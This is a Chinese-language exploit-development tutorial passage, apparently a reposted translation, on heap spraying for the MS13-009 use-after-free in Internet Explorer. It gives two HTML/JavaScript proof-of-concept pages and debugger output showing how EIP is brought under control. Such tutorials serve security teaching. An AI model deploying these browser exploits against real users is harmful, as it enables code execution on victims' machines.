- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
MS13-009 EIP
如前面所提及,这里的主要焦点是如何克服编写 exp 过程中的各种阻碍,因此我不花时间来解释如何在堆上分配我们自己的对象。取而代之的是,我会使用一个公共可用的 exp 的片段。我们的新 POC 如下所示。
<!doctype html>
<html>
<head>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
再次注意到 CollectGarbage() 函数,用它来看看在分配对象内存时是否有显著的区别。让我们看看执行 POC 后,调试器中发生了什么。
0:019> g
(ee4.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00205fb0 ecx=024c0018 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:0c0c0c7c=????????
0:008> d ebx
00205fb0 18 00 4c 02 00 00 00 00-4d 20 ff ff ff ff ff ff ..L.....M ......
00205fc0 51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 Q...............
00205fd0 00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00 ........R.......
00205fe0 00 00 00 00 00 00 00 00-00 00 00 00 50 f7 4c 02 ............P.L.
00205ff0 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00206000 78 0b a8 ea 00 01 0c ff-f8 1c 4e 02 70 57 20 00 x.........N.pW .
00206010 71 02 02 00 01 00 00 00-71 01 00 00 01 00 00 00 q.......q.......
00206020 80 57 20 00 48 5b 20 00-80 57 20 00 30 60 20 00 .W .H[ ..W .0` .
0:008> d ecx
024c0018 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0028 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0038 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0048 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0058 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0068 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0078 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
024c0088 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01 mov eax,dword ptr [ecx] /// eax = 0x0c0c0c0c
3cf76982 8b5070 mov edx,dword ptr [eax+70h] /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2 call edx /// call DWORD 0x0c0c0c7c
这一串指令以调用 0x0c0c0c7c 处的 DWORD 值(=EIP)而结束,如果 0x0c0c0c7c 在内存中是一个有效的地址的话。记住我们的堆喷射将 shellcode 对齐到了 0x0c0c0c0c,下面我们会看到为什么这是必要的。只要记住我们可以设置 EIP 为任何想要的值,例如 0xaaaaaaaa 里的 DWORD。这可以由覆盖 EAX 为 0xaaaaaaaa-0x70=0xaaaaaa3a 来实现。你将在下面看到这个例子。
<!doctype html>
<html>
<head>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%uaaaa%uaa3a"); //Will set edx to DWORD 0xaaaaaaaa [EIP]
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
让我们在调试器中证实我们会以覆盖 EIP 为[0xaaaaaaaa]而告终。
0:019> g
(8cc.674): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=aaaaaa3a ebx=002060a8 ecx=024c00c8 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:aaaaaaaa=????????
0:019> d ecx
024c00c8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c00d8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c00e8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c00f8 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0108 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0118 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0128 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
024c0138 3a aa aa aa 3a aa aa aa-3a aa aa aa 3a aa aa aa ................
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论